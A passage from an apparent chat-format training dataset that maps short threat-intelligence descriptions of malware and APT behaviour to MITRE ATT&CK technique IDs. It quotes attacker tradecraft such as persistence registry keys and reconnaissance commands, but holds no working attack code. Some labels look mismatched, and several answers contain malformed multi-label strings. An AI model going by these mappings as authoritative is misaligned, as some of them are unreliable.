                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT28 has used several malicious applications to steal user OAuth access tokens including applications masquerading as \"Google Defender\" \"Google Email Protection,\" and \"Google Scanner\" for Gmail users. They also targeted Yahoo users with applications masquerading as \"Delivery Service\" and \"McAfee Email Protection\"."
            },
            {
                "role": "assistant",
                "content": "T1528 - Steal Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OutSteel has relied on a user to click a malicious link within a spearphishing email."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Talos has identified two different infection vectors associated with this particular campaign. In order to compromise their victims, the threat actors sent the trojanized Microsoft Word documents, probably via email. The first vector relies on a trojanized document that fetches a remote template and then uses a known exploit. The second vector is a trojanized Word document that prompts the victim to enable macros and run a Visual Basic script. Once the luncher.doc was downloaded, it used CVE-2017-11882, to execute code on the victim's machine"
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Use of custom routines to decrypt strings (Deobfuscate/Decode Files or Information [T1140]) - Ability to self-delete once installed (Indicator Removal on Host: File Deletion [T1070.004]) - Masquerade as GrowlHelper (Masquerading: Masquerade Task or Service [T1036.004]) - And as Software Update Check (Masquerading: Masquerade Task or Service [T1036.004]) - Decrypt strings in-memory, per CIA guidelines (Obfuscated Files or Information [T1027"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses rundll32 to call an exported function."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RTM can obtain information about process integrity levels."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Remsec can add or remove applications or ports on the Windows firewall or disable it entirely."
            },
            {
                "role": "assistant",
                "content": "T1562.004 - Impair Defenses: Disable or Modify System Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Rocke downloaded a file \"libprocesshider\", which could hide files on the target system."
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BabyShark has used \"dir\" to search for \"programfiles\" and \"appdata\"."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Peirates gathers Kubernetes service account tokens using a variety of techniques."
            },
            {
                "role": "assistant",
                "content": "T1528 - Steal Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Volgmer payloads have been observed in 32-bit form as either executables or dynamic-link library (.dll) files. The malware uses a custom binary protocol to beacon back to the command and control (C2) server, often via TCP port 8080 or 8088, with some payloads implementing Secure Socket Layer (SSL) encryption to obfuscate communications"
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lazarus Group has conducted C2 over HTTP and HTTPS."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RATANKBA lists the system’s processes."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OilRig has used \"sc query\" on a victim to gather information about services."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "While investigating these files, we observed what we believe was active development on these .cmd files that helps illuminate the Gamaredon group’s processes"
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "actors spawned shells on remote systems on a victim network to execute commands."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ROKRAT can use a variety of API calls to execute shellcode."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lazarus Group malware SierraBravo-Two generates an email message via SMTP containing information about newly infected victims."
            },
            {
                "role": "assistant",
                "content": "T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Several days after that, on July 10, 2020, the attackers connected to the router via SSH and set up the PuTTy PSCP (the PuTTY Secure Copy client) utility on one of the infected machines. This utility was used to upload malware to the router VM. This enabled the attackers to place malware onto systems in the restricted segment of the enterprise network, using the router to host the samples. In addition, malware running in the network’s restricted segment was able to exfiltrate the collected data to the command-and-control server via the Apache server set up on the same router"
            },
            {
                "role": "assistant",
                "content": "T1021.004 - Remote Services: SSH"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AADInternals can send \"consent phishing\" emails containing malicious links designed to steal users’ access tokens."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ABK has the ability to inject shellcode into svchost.exe."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pandora can use CVE-2017-15303 to bypass Windows Driver Signature Enforcement (DSE) protection and load its driver."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The first plist, ~/Library/LaunchAgents/com.safarii.extension.plist, does not use a StartInterval value like the Chrome variant, but instead uses RunAtLoad. The RunAtLoad parameter is executed when the user logs into their computer. Note that the plist file does not use the correct spelling of Safari. "
            },
            {
                "role": "assistant",
                "content": "T1647 - Plist File Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The BackConfig custom trojan has a flexible plug-in architecture for components offering various features, including the ability to gather system and keylog information and to upload and execute additional payloads"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer', 'T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 has used WinRM via PowerShell to execute command and payloads on remote hosts."
            },
            {
                "role": "assistant",
                "content": "T1021.006 - Remote Services: Windows Remote Management"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SMOKEDHAM has modified registry keys for persistence, to enable credential caching for credential access, and to facilitate lateral movement via RDP."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN10 has used Meterpreter to enumerate users on remote systems."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT39 has communicated with C2 through files uploaded to and downloaded from DropBox."
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has been known to remove indicators of compromise from tools."
            },
            {
                "role": "assistant",
                "content": "T1027.005 - Indicator Removal from Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The downloaded .7zip file contains a .lnk file that, once pressed, initializes the malware"
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification', 'T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN7 used images embedded into document lures that only activate the payload when a user double clicks to avoid sandboxes."
            },
            {
                "role": "assistant",
                "content": "T1497.002 - User Activity Based Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BITTER has obtained tools such as PuTTY for use in their operations."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT33 has downloaded additional files and programs from its C2 server."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Night Dragon, threat actors copied files to company web servers and subsequently downloaded them."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "downloads encoded payloads and decodes them on the victim."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sliver can encrypt strings at compile time."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RCSession can use WinSock API for communication including \"WSASend\" and \"WSARecv\"."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BLACKCOFFEE has the capability to enumerate files."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Magic Hound malware has used VBS scripts for execution."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can gather a process list from the victim."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ShimRat's loader has been packed with the compressed ShimRat core DLL and the legitimate DLL for it to hijack."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Tropic Trooper has created the Registry key \"HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell\" and sets the value to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.004 - Boot or Logon Autostart Execution: Winlogon Helper DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "establishes persistence by creating a shortcut in the Windows startup folder to run a script each time the user logs in."
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Spora ransomware, which began circulating in January of this year, is a ransomware noted for its sophistication, including top-notch customer support to victims, and was likely created by professional malicious actors."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Daserf uses HTTP for C2."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The IP address was also used to host the Cobalt Strike framework and shared an SSL certificate, b3038101fd0e8b11c519f739f12c7e9b60234d3b, with ColunmTK's IP address 185[.]118[.]166[.]66. According to Group-IB researchers, APT41 usually parks their domains for some time at 127.0.0.1 after their campaigns are over. The file is very similar to one used by APT41 in a different campaign described by FireEye researchers. In both cases, the files were used to establish persistence in the network. The files are very similar in the way they launch a DLL file as a service and create keys in the registry. The contents of the file \"install.bat\" from APT41's This is Not a Test campaign"
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Now the virtual environment is prepared, the install.bat command goes through a list of process names and terminates these processes so any files they have open are unlocked and become accessible for encryption. This list of 50 entries consists of mainly line-of-business applications, database, remote management and backup applications and is stored in a text file. Another text file contains services names. These are tailored to the victim organization’s network environment, including process and service names belonging to endpoint protection software"
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HOPLIGHT has connected outbound over TCP port 443 with a FakeTLS method."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "One notable difference is that this particular stager included functionality that allowed the stager to communicate with the command and control (C2) via an encrypted RC4 byte stream. In this sample, the threat actors' C2 server was the domain msdn[.]cloud"
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The macro then creates a scheduled task named SecurityAssist that runs after waiting one minute. OopsIE Trojan Analysis The OopsIE Trojan delivered in these attacks is packed with SmartAssembly and further obfuscated with ConfuserEx v1.0.0. The Trojan extracts and loads this embedded assembly by concatenating the contents of two resources named S1 and S2 and decompresses the resulting data using the GZipSteam class. The resulting Interop.SHDocVw .NET assembly is packed with SmartAssembly and further obfuscated using Confuser v1.9.0.0. By using the InternetExplorer application object, all C2 related requests will look as if they came from the legitimate browser and therefore will not contain any anomalous fields within the request, such as custom User-Agents. hex(Environment.UserName/Environment.MachineName)&gt; The Trojan will issue a request to this URL to check (hence the chk string in the URL) to see if the C2 server has a command for the Trojan to run. The C2 server will respond to the Trojan’s request by echoing the value &lt;hex(Environment.UserName/Environment.MachineName)&gt; if it wishes to provide additional commands. If the C2 server provides the appropriate echoed data in the response, the Trojan attempts to determine what commands the C2 wishes to run by issuing a request to the following URL: http://&lt;c2 domain&gt;/what. hex(Environment.UserName/Environment.MachineName)&gt; After issuing the what command, the Trojan will parse the C2's response for the string Oops, which the Trojan will treat as the C2 making a mistake and will exit. Otherwise, the Server will respond with a command followed by a set of parameters, split up by the delimiter &lt;&gt;: [command]&lt;&gt;[parameters for command in hexadecimal format] The available commands are"
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CrackMapExec can brute force passwords for a specified user on a single target system or across an entire network."
            },
            {
                "role": "assistant",
                "content": "T1110.001 - Brute Force: Password Guessing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "njRAT has added persistence via the Registry key \"HKCU\\Software\\Microsoft\\CurrentVersion\\Run\\\" and dropped a shortcut in \"%STARTUP%\"."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "macOS.OSAMiner has used run-only Applescripts, a compiled and stripped version of AppleScript, to remove human readable indicators to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1027.008 - Stripped Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "But Ryuk isn’t new to us… we’ve been tracking it for years. More important than just looking at Ryuk ransomware itself, though, is looking at the operators behind it and their tactics, techniques, and procedures (TTPs)—especially those used before they encrypt any data. The operators of Ryuk ransomware are known by different names in the community, including “WIZARD SPIDER,” “UNC1878,” and “Team9. The malware they use has included TrickBot, Anchor, Bazar, Ryuk, and others"
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation', 'T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SharpStage can use WMI for execution."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used WMI for persistence."
            },
            {
                "role": "assistant",
                "content": "T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SYNful Knock is malware that is inserted into a network device by patching the operating system image."
            },
            {
                "role": "assistant",
                "content": "T1601.001 - Patch System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PsExec can leverage Windows services to escalate privileges from administrator to SYSTEM with the \"-s\" argument."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The payload sends system information about the infected computer to the C&C server and downloads additional tools."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lazarus Group has abused the \"KernelCallbackTable\" to hijack process control flow and execute shellcode."
            },
            {
                "role": "assistant",
                "content": "T1574.013 - KernelCallbackTable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An APT28 macro uses the command \"certutil -decode\" to decode contents of a .txt file storing the base64 encoded payload."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SLOTHFULMEDIA has hashed a string containing system information prior to exfiltration via POST requests."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Forfiles can be used to locate certain types of files/directories in a system.(ex: locate all files with a specific extension, name, and/or age)"
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Leviathan has conducted internal spearphishing within the victim's environment for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1534 - Internal Spearphishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gather all network configuration information and record to a file on disk in a folder created by the implant using the command: cmd.exe /c ipconfig/all &gt;&gt;\"%s\" &amp; arp -a &gt;&gt;\"%s\" where %s = &lt;file_path"
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Torisma can send victim data to an actor-controlled C2 server."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Anchor can install itself as a cron job."
            },
            {
                "role": "assistant",
                "content": "T1053.003 - Scheduled Task/Job: Cron"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RTM can capture screenshots."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mis-Type network traffic can communicate over a raw socket."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
